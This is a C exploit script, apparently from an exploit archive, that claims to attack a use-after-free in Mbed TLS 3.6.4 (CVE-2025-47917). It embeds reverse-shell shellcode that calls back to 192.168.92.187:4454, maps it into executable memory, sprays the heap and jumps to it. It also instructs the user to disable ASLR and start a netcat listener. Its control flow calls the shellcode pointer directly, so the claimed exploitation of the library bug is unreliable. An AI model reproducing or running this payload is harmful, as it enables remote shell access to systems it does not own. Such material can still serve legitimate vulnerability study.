/*
* Exploit Title: Mbed TLS 3.6.4 - Use-After-Free
* Google Dork: N/A
* Date: 2025-08-29
* Exploit Author: Byte Reaper
* Vendor Homepage: https://github.com/Mbed-TLS/mbedtls
* Software Link: https://github.com/Mbed-TLS/mbedtls
* Version: ≤ 3.6.4
* Tested on: Kali Linux
* CVE: CVE-2025-47917
*/
#include<stdio.h>
#include<string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include "mbedtls/asn1.h"
#include <mbedtls/x509.h>
#include <mbedtls/x509_crt.h>
#include <mbedtls/oid.h>
#include <malloc.h>
#define _GNU_SOURCE
typedef struct
{
unsigned char *pointer;
size_t pointerLen;
}shell;
typedef struct fake_named_data
{
struct fake_named_data *next;
mbedtls_asn1_buf oid;
mbedtls_asn1_buf val;
} fake_named_data;
void eS()
{
__asm__ volatile
(
"xor %%rdi, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"syscall\n\t"
:
:
:"rax", "rdi"
);
}
void checkAslr()
{
FILE *f = fopen("/proc/sys/kernel/randomize_va_space", "r");
if (!f)
{
perror("\e[1;31m[-] Error Open File !");
eS();
}
int val;
if (fscanf(f,
"%d",
&val) != 1)
{
printf("\e[1;31m[-] Failed to read ASLR status.\e[0m\n");
fclose(f);
eS();
}
fclose(f);
if (val != 0)
{
printf("\e[1;31m[-] ASLR is enabled (value=%d). This may prevent reliable exploitation.\e[0m\n", val);
printf("[\e[1;31m-] Please disable ASLR temporarily using: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n");
printf("\e[1;31m[-] Exiting to avoid crash.\e[0m\n");
eS();
}
printf("\e[1;36m[+] ASLR is disabled (value=0). Environment looks good.\e[0m\n");
}
shell inject()
{
// ip : 192.168.92.187
// port : 4454
unsigned char shellcode[] =
{
0x48, 0x31, 0xd2, 0xb8, 0x29, 0x00, 0x00, 0x00, 0xbe, 0x01, 0x00, 0x00,
0x00, 0xbf, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x49,
0x89, 0xc4, 0x48, 0x83, 0xec, 0x10, 0xc7, 0x44, 0x24, 0x0c, 0xbd, 0x5c,
0xa8, 0xc0, 0x66, 0xc7, 0x44, 0x24, 0x0a, 0x11, 0xc1, 0x66, 0xc7, 0x44,
0x24, 0x08, 0x02, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x10, 0x00, 0x00, 0x00,
0xb8, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x4c, 0x89, 0xe7, 0xbe, 0x02,
0x00, 0x00, 0x00, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xff,
0xce, 0x79, 0xf4, 0x48, 0x31, 0xd2, 0x48, 0xb8, 0x62, 0x2f, 0x73, 0x62,
0x61, 0x73, 0x68, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6,
0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05
};
size_t shellcodeLen = sizeof(shellcode);
shell a =
{
shellcode,
shellcodeLen
};
void *page = mmap(NULL, a.pointerLen,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
memcpy(page, a.pointer, a.pointerLen);
a.pointer = page;
return a;
}
void paddingChunk(void *fakeP, size_t len)
{
for (int i = 0; i < 10000; i++)
{
void *p = malloc(len);
size_t usable = malloc_usable_size(p);
memcpy(p, fakeP, len);
memset((char*)p + len, 0, usable - len);
}
}
void pointerHead(mbedtls_asn1_named_data *head)
{
if (head->val.p == NULL)
{
printf("\e[1;91m[-] Pointer ShellCode Is NULl !!\e[0m\n");
eS();
}
printf("\e[1;36m[*] Jumping to shellcode at %p\e[0m\n", head->val.p);
void (*u)() = (void(*)()) head->val.p;
u();
}
void tls()
{
mbedtls_asn1_named_data *head = NULL;
printf("\e[1;34m[+] Create Head Successfully !\e[0m\n");
printf("\e[1;35m[*] head before first call: %p\e[0m\n", head);
int value = mbedtls_x509_string_to_names(&head, "CN=AAAA");
shell a = inject();
void *exec_mem = a.pointer;
fake_named_data data =
{
.next = NULL,
.oid =
{
.p = (unsigned char*) MBEDTLS_OID_AT_CN,
.len = sizeof(MBEDTLS_OID_AT_CN) - 1 },
.val =
{
.p = a.pointer,
.len = a.pointerLen
}
};
printf("\e[1;35m[*] head after first call: %p (value=%d)\e[0m\n", head, value);
paddingChunk(&data, sizeof(mbedtls_asn1_named_data));
printf("\e[1;34m[+] Use heap spray...\e[0m\n");
usleep(500000);
if (value == MBEDTLS_ERR_X509_INVALID_NAME)
{
printf("\e[1;31m[-] Invaild Name (Med Tls Name)!\e[0m\n");
printf("[\e[1;31m-] Value => (MBEDTLS_ERR_X509_INVALID_NAME)\e[0m\n");
printf("\e[1;31m[-] Exit (sys_exit)...\e[0m\n");
eS();
}
printf("\e[1;35m[*] head before second call: %p\e[0m\n", head);
int value2 = mbedtls_x509_string_to_names(&head, "CN=AAAA,CN=BBBB");
printf("\e[1;35m[*] head after second call: %p (value=%d)\e[0m\n", head, value2);
printf("\e[1;34m[+] Successfully Create String Name.\e[0m\n");
pointerHead(head);
printf("\e[1;34m[+] Jump Shellcode Pointer ...\e[0m\n");
printf("\e[1;34m[+] Pointer Shellcode : %p\e[0m\n", a.pointer);
printf("\e[1;34m[+] Shellcode Injection Successfully !\e[0m\n");
printf("\e[1;34m[+] Shellcode Len : %zu\e[0m\n", a.pointerLen);
printf("\e[1;33m[+] Please Check Reverse shell (nc -lvnp 4454)\e[0m\n");
printf("\e[1;34m[+] Success Free Head !\e[0m\n");
}
int main()
{
printf("\e[0;95m+-------------------------------------------------+\e[0m\n");
printf("\e[0;95m|\e[0m \e[1;37mByte Reaper\e[0m \e[0;95m|\e[0m\n");
printf("\e[0;95m|\e[0m \e[1;33mExploit: CVE-2025-47917\e[0m \e[0;95m|\e[0m\n");
printf("\e[0;95m|\e[0m \e[1;31mVulnerability: UAF\e[0m \e[0;95m|\e[0m\n");
printf("\e[0;95m+-------------------------------------------------+\e[0m\n");
if (getuid() != 0)
{
printf("\e[1;31m[-] Please Run exploit in Root (sudo ./exploit)\n");
eS();
}
checkAslr();
tls();
return 0;
}